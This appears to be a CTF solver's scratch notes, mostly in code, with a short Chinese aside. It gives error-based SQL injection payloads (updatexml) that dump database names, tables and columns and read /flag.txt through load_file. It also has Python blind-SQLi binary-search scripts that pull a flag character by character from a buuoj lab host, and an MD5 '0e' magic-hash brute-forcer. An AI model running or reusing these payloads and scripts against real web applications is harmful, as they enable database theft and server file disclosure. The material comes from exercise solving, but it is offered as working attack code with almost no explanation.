address=1' where user_id=updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
address=1' where user_id=updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
address=1' where user_id=updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x75736572)),20,30),0x7e),1)#
查了一大波东西,似乎没有flag……?
原题目好像告诉了要读根目录的flag.txt……
address=1' where user_id=updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),1,20),0x7e),1)#
address=1' where user_id=updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),20,60),0x7e),1)#
for x inrange(1, 100): l = 32 r = 126 while r > l: mid = int((l + r + 1) / 2) x = str(x) y = str(mid) pay = url.format(x, y) response = requests.get(url=pay) if"JFIF"in response.text: l = mid else: r = mid - 1 # time.sleep(0.03) flag += (chr(int(r))) print(chr(int(r))) print(flag) print(flag)
flag = "" for x in range(1,100): l = 32 r = 126 while r > l: mid = int((l + r + 1) / 2) x = str(x) y = str(mid) url = 'http://ae264edd-9cc0-4005-8193-2fe2294f2118.node3.buuoj.cn/?stunum=if(ord(substr((select(value)from(flag)),'+x+',1))>='+y+',1,0)#' response = requests.get(url=url) if"admin" in response.text: l = mid else: r = mid - 1 time.sleep(0.03) flag += (chr(int(r))) print(chr(int(r))) print(flag) print(flag)
for a in'1234567890': for b in'1234567890': for c in'1234567890': for d in'1234567890': for e in'1234567890': for f in'1234567890': for g in'1234567890': for h in'1234567890': for i in'1234567890': j=f"0e{a}{b}{c}{d}{e}{f}{g}{h}{i}" p=md5(j.encode('utf8')).hexdigest() if p[0:2]=='0e': pp = p[2:32] if re.match("\d{30,30}",pp): print(j) print(p) break